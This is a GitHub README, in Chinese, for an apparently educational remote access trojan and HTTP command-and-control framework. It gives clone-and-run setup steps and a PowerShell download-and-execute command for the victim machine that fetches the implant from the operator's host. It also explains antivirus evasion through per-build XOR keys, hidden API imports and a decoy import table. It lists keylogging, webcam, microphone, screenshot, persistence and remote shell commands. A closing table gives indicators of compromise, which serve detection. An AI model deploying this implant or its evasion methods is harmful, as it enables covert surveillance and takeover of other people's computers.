davestinhast/LIBRECRI

GitHub: davestinhast/LIBRECRI

一个教育性质的自定义 HTTP C2 远程访问木马框架,从零实现了 implant 生成、加密通信和远程控制等红队核心技术。

Stars: 0 | Forks: 0

# LIBRECRI:自定义 HTTP C2 框架 这是一个具有教育性质的红队(Offensive)框架,从零开始实现了一个远程访问木马(RAT)。 为 **应用安全课程,IDEX Carlos Salazar Romero** 开发。 ## 什么是 LIBRECRI? LIBRECRI(Libre C Remote Implant)是一个命令与控制(C2)系统,允许从 Kali Linux 远程控制 Windows 计算机。它使用 HTTP 协议(与网页使用的协议相同)进行通信,并附带加密消息。 该项目包含三个部分: | 文件 | 功能描述 | |---|---| | `generador.py` | 主脚本。自动生成 implant 和服务器。 | | `implant.exe` | 在受害者的 PC 上运行。静默连接至 C2。 | | `c2_server.py` | 在 Kali 上运行。接收连接并提供控制台。 | ## 依赖项及其必要性 ### Python 3 生成器(`generador.py`)和 C2 服务器(`c2_server.py`)均使用 Python 编写。 使用 Python 的原因: - 内置了 HTTP 服务器(`http.server`),无需安装外部库。 - 允许将 C 代码动态生成为文本,并在每次编译时插入加密密钥。 - 易于阅读、修改和扩展。 ### mingw-w64 这是一个交叉编译器:允许在 Linux 上为 Windows 编译 C 代码。 需要它的原因: - implant 使用纯 C 编写,且必须是原生的 Windows `.exe` 文件。 - 我们不想在 Windows 上进行编译,因为那需要在上面安装 Visual Studio。 - 在 Kali 上,`x86_64-w64-mingw32-gcc` 无需 Windows 即可生成 64 位的 `.exe` 可执行文件。 ``` # 一次性安装两个依赖 sudo apt update && sudo apt install mingw-w64 python3 -y ``` ## 从零开始使用 ``` # 1. 安装依赖(只需一次) sudo apt update && sudo apt install mingw-w64 python3 -y # 2. 克隆 repo git clone https://github.com/davestinhast/LIBRECRI cd LIBRECRI # 3. 运行生成器 # 要求:Kali 的 IP、端口、exe 名称 # 生成:implant.exe + c2_server.py + 在 :8080 上提供 exe 服务 python3 generador.py # 4. 在另一个终端中:启动 C2 服务器 python3 c2_server.py # 如果重启时出现 "Address already in use": pkill -f c2_server.py && python3 c2_server.py ``` 在受害者的 PC(Windows)上,下载并运行 implant: ``` # 根据生成器的要求替换 IP 和名称 Invoke-WebRequest -Uri "http://:8080/implant.exe" -OutFile "$env:TEMP\implant.exe" Start-Process "$env:TEMP\implant.exe" ``` ## 架构 ``` ┌──────────────────────────────────────────────────────────┐ │ KALI LINUX │ │ │ │ generador.py │ │ │ │ │ ├── genera claves únicas (FNK 1 byte, PK 16 bytes) │ │ ├── escribe código C del implant con esas claves │ │ ├── compila con mingw-w64 -> implant.exe │ │ ├── genera c2_server.py con las mismas claves │ │ └── sirve el .exe por HTTP en :8080 │ │ │ │ c2_server.py <---- HTTP polling ----> implant.exe │ │ (consola del operador) (PC víctima) │ └──────────────────────────────────────────────────────────┘ ``` 通信流程: 1. implant 每隔 **850 ms** 唤醒一次,并向服务器发送请求:`GET /cmd` 2. 如果有命令,服务器会响应加密后的命令。 3. implant 解密命令,执行并捕获输出。 4. implant 将加密后的结果发回:`POST /res` 5. 服务器解密并在屏幕上显示结果。 ## 已实现的技术 ### 每次编译时的 XOR 加密 在每次构建时随机生成的两层 XOR: - **FNK(1 字节):** 加密二进制文件中的 API 函数名称。`CreateThread`、`WSASocket` 等在可执行文件中不以明文显示,而是与密钥混合在一起。 - **PK(16 字节):** 加密 implant 与服务器之间的 HTTP 流量。没有正确的密钥,流量将无法读取。 每次编译都会产生不同的密钥,从而在可执行文件中生成不同的字节,消除了各构建版本之间任何共同的静态特征码(signature)。 ### 动态 API 解析(IAT 伪装) 杀毒软件会检查可执行文件导入了哪些函数(Import Address Table,导入地址表)。如果发现 `CreateRemoteThread` 或 `WSASocket`,就会触发警报。 LIBRECRI **在 IAT 中不导入任何可疑函数**。它在运行时使用 `GetProcAddress` 和动态解密的名称来加载它们: ``` // Los nombres de funciones van cifrados en el binario // Se descifran en el stack justo antes de usarlos char fn[32]; _xs(fn, _k_CreateThread, 12); // descifra "CreateThread" gCTH = GetProcAddress(hKernel, fn); // guarda el puntero ``` 动态解析的 DLL(在 IAT 中不可见): | DLL | 函数 | 数量 | |---|---|---| | `kernel32.dll` | CreateProcessA, CreatePipe, ReadFile, Sleep, CreateThread... | 11 | | `ws2_32.dll` | WSAStartup, WSASocketA, connect, send, recv... | 9 | | `advapi32.dll` | GetUserNameA, RegOpenKeyExA, RegQueryValueExA... | 4 | | `user32.dll` | SetWindowsHookExA, CallNextHookEx, GetMessageA... | 4 | ### 诱饵 IAT(Decoy IAT) 为了防止 IAT 看起来为空(这同样很可疑),implant 从 5 个不会引起警报的 DLL 中导入了无害函数: | DLL | 函数(诱饵) | |---|---| | `comctl32.dll` | `InitCommonControlsEx`, `ImageList_Create` | | `crypt32.dll` | `CertOpenSystemStoreA`, `CertCloseStore` | | `version.dll` | `GetFileVersionInfoSizeA`, `GetFileVersionInfoA` | | `winmm.dll` | `waveOutGetNumDevs`, `waveOutGetVolume` | | `imm32.dll` | `ImmGetDefaultIMEWnd`, `ImmIsIME` | ### 使用 WH_KEYBOARD_LL 的键盘记录器 Windows 拥有一个钩子(hook)系统,允许程序接收整个系统中每次按键的通知。`WH_KEYBOARD_LL`(类型 13)钩子是一种低级钩子,可以在按键到达任何应用程序之前将其捕获。 ``` // Se instala con SetWindowsHookExA y un message loop en hilo separado // Cada pulsación llega a _kbhook(), se mapea a texto legible // y se acumula en un buffer de 32 KB en memoria ``` 命令:`keyscan_start` / `keyscan_dump` / `keyscan_stop` ### 屏幕截图 PowerShell 使用 `System.Drawing`(Windows 自带库)将屏幕内容复制到 Bitmap 中,将其序列化为 PNG 格式并以 Base64 返回。服务器清理 Base64,修正 padding 并将 PNG 保存到桌面。 最大输出缓冲区:**4 MB**。一张 1080p 的屏幕截图在 Base64 编码下可能会超过 1 MB。 ### 摄像头(avicap32) 由 PowerShell 实时编译的 C# 脚本(`Add-Type`)。使用 `avicap32.dll`,这是 Windows 通过 DirectShow 操作摄像头的 API: 1. `capCreateCaptureWindowA` 创建一个不可见的捕获窗口 2. `WM_CAP_DRIVER_CONNECT` 连接第一个可用的摄像头 3. 等待 1.5 秒让摄像头画面稳定 4. `WM_CAP_GRAB_FRAME` 捕获一帧 5. `WM_CAP_FILE_SAVEDIB` 将其作为 BMP 保存在 `%TEMP%` ### 麦克风录音(waveIn API) 实时编译的 C# 脚本。使用 `winmm.dll`,这是 Windows 的音频 API: 1. `waveInOpen` 打开音频设备(PCM 16kHz,单声道,16 位) 2. 分配大小为 `N秒 x 32000 字节` 的缓冲区 3. `waveInStart` + `Thread.Sleep(N * 1000)` 录制 N 秒 4. 手动构造 WAV RIFF 标头并以 Base64 返回文件 implant 的接收缓冲区:**24 KB**。经过 UTF-16LE Base64 编码的 C# 麦克风命令会超过 6,000 字节。 ### 会话持久化与目录导航 服务器在变量 `_CWD` 中维护 implant 的当前工作目录。每个 shell 命令在执行前都会加上 `cd /d "" &&` 前缀,从而使 `cd` 在不同命令间持久有效。如果没有这个技巧,implant 将始终返回到初始目录,因为每个命令都会启动一个新的 `cmd.exe` 进程。 ## 构建过程 ### 1. HTTP 通信通道 首先需要设计协议。选择 HTTP 是因为它几乎可以穿透任何防火墙,而无需特殊的规则。implant 进行主动轮询(每 850ms 请求一次),而不是等待服务器调用,这避免了服务器需要直接访问受害者网络的需要。 ### 2. 生成器 编写了一个 Python 脚本,将 C 源代码作为字符串构建,并在编译前插入密钥和网络参数。最终结果是生成一对包含唯一且密不可分的密钥的 implant 与服务器:使用不同密钥生成的服务器会静默拒绝错误的 implant。 ### 3. C 语言编写的 Implant 选择 C 语言是因为它能生成不需要外部 runtime 依赖的、较小的原生可执行文件。使用 `mingw-w64` 作为 Kali 上的交叉编译器。implant 使用 `__attribute__((constructor))` 在 `WinMain` 之前进行初始化,检查全局 mutex `Global\LCRI_INST` 以防止多重实例,并在后台启动 C2 线程。 ### 4. 动态解析与混淆 研究了 Windows PE 可执行文件的 IAT 结构,并采用了运行时结合 XOR 加密名称通过 `GetProcAddress` 加载函数的技术。在可见的 IAT 中添加诱饵,是为了让自动分析无法检测到异常为空的 IAT。 ### 5. 捕获模块 - **屏幕截图:** 包含 `System.Drawing` 的 PowerShell 单行命令。 - **摄像头和麦克风:** 使用 `Add-Type` 实时编译的内联 C#。C# 脚本以 PowerShell EncodedCommand(UTF-16LE Base64)的形式传递给 implant,以避免命令行中的转义问题。 - **键盘记录器:** 原生 C 编写,在单独的带有消息循环的线程中使用 `SetWindowsHookExA`。 ### 6. 遇到的错误及其解决方法 | 问题 | 根本原因 | 解决方案 | |---|---|---| | 截图 "incorrect padding" | PowerShell 在 Base64 中插入了换行符 | 在解码前去除空白字符 | | 截图损坏 / "unexpected end of file" | MAXOUT=128KB 截断了约 1MB 的图像 | 将 MAXOUT 提高到 4 MB | | `record_mic` 立即返回而没有录制 | 6272 字节的命令超过了 4096 字节的 CBUF | 将 CBUF 提高到 24 KB | | `cd` 无法在命令间持久生效 | 每个命令都会从原始 CWD 启动一个新的 `cmd.exe` | 服务器端使用带 `cd /d` 前缀的 `_CWD` 变量 | | 重启服务器时出现 "Address already in use" | Socket 处于 TIME_WAIT 状态 | 使用 `SO_REUSEADDR` 并设置 `allow_reuse_address = True` | ## 可用命令 | 命令 | 描述 | 结果 | |---|---|---| | `sysinfo` | 系统信息:主机名、OS、用户 | 屏幕显示 | | `getuid` | 当前用户和域 | 屏幕显示 | | `screenshot` | 完整桌面的截图 | 保存为 .png 至 ~/Desktop | | `webcam_snap` | 使用摄像头拍照 | 保存为 .bmp 至 ~/Desktop | | `keyscan_start` | 激活按键记录 | 无 | | `keyscan_dump` | 显示捕获的按键 | 屏幕显示 | | `keyscan_stop` | 关闭按键记录 | 无 | | `record_mic -d N` | 录制 N 秒麦克风音频 | 保存为 .wav 至 ~/Desktop | | `download <路径>` | 从受害者处下载文件 | 文件保存至 ~/Desktop | | `cd <路径>` | 切换目录(持久化) | 屏幕显示 | | `ls` | 列出文件 | 屏幕显示 | | `cat <文件>` | 显示文件内容 | 屏幕显示 | | `ps` | 活动进程 | 屏幕显示 | | `clipboard` | 剪贴板内容 | 屏幕显示 | | `persist <名称>` | 在 Windows 启动项中持久化 | 无 | | `net` | 网络配置 | 屏幕显示 | | `close` | 关闭会话,等待新连接 | 无 | | `exit` | 关闭 implant 和服务器 | 无 | | `<任意文本>` | 在受害者的 cmd.exe 中执行 | 屏幕显示 | ## 与 Meterpreter 的比较 | 特性 | LIBRECRI | 未混淆的 Meterpreter | |---|---|---| | 传输方式 | HTTP/1.0 轮询 | TCP raw / HTTPS | | 加密 | XOR 16 字节 | AES-256 + RSA | | 执行方式 | 磁盘上的 .exe | Reflective DLL injection,仅限内存 | | 已知的 AV 特征码 | 无,构建唯一 | 极易被检测 | | 扩展性 | 固定命令 | 可加载的动态模块 | | 多重会话 | 否 | 是 | | 高级后渗透(Post-exploitation) | 否 | getsystem, hashdump, pivoting | 由于没有已知的特征码,LIBRECRI 在静态免杀(Evasion)方面超越了未混淆的 Meterpreter。带有混淆器和反射式注入的 Meterpreter 在其他所有方面都超越了 LIBRECRI。 ## 妥协指标(IOC) | 类别 | 指标 | |---|---| | 网络 | 每隔约 850ms 请求一次 GET /cmd 和 POST /res | | 网络 | HTTP 请求头中的 X-MID: 主机名 | | 进程 | 没有可见窗口的 GUI 可执行文件发起网络连接 | | IAT | 仅有来自 comctl32, crypt32, version, winmm, imm32 的导入 | | 键盘记录器 | 来自无窗口进程的 SetWindowsHookExA 调用 WH_KEYBOARD_LL | | 持久化 | HKCU\Software\Microsoft\WindowsCurrentVersion\Run\名称 | | Mutex | Global\LCRI_INST |
标签:AI合规, IP 地址批量处理, 命令与控制, 端点可见性, 网络信息收集, 网络安全, 远控木马, 隐私保护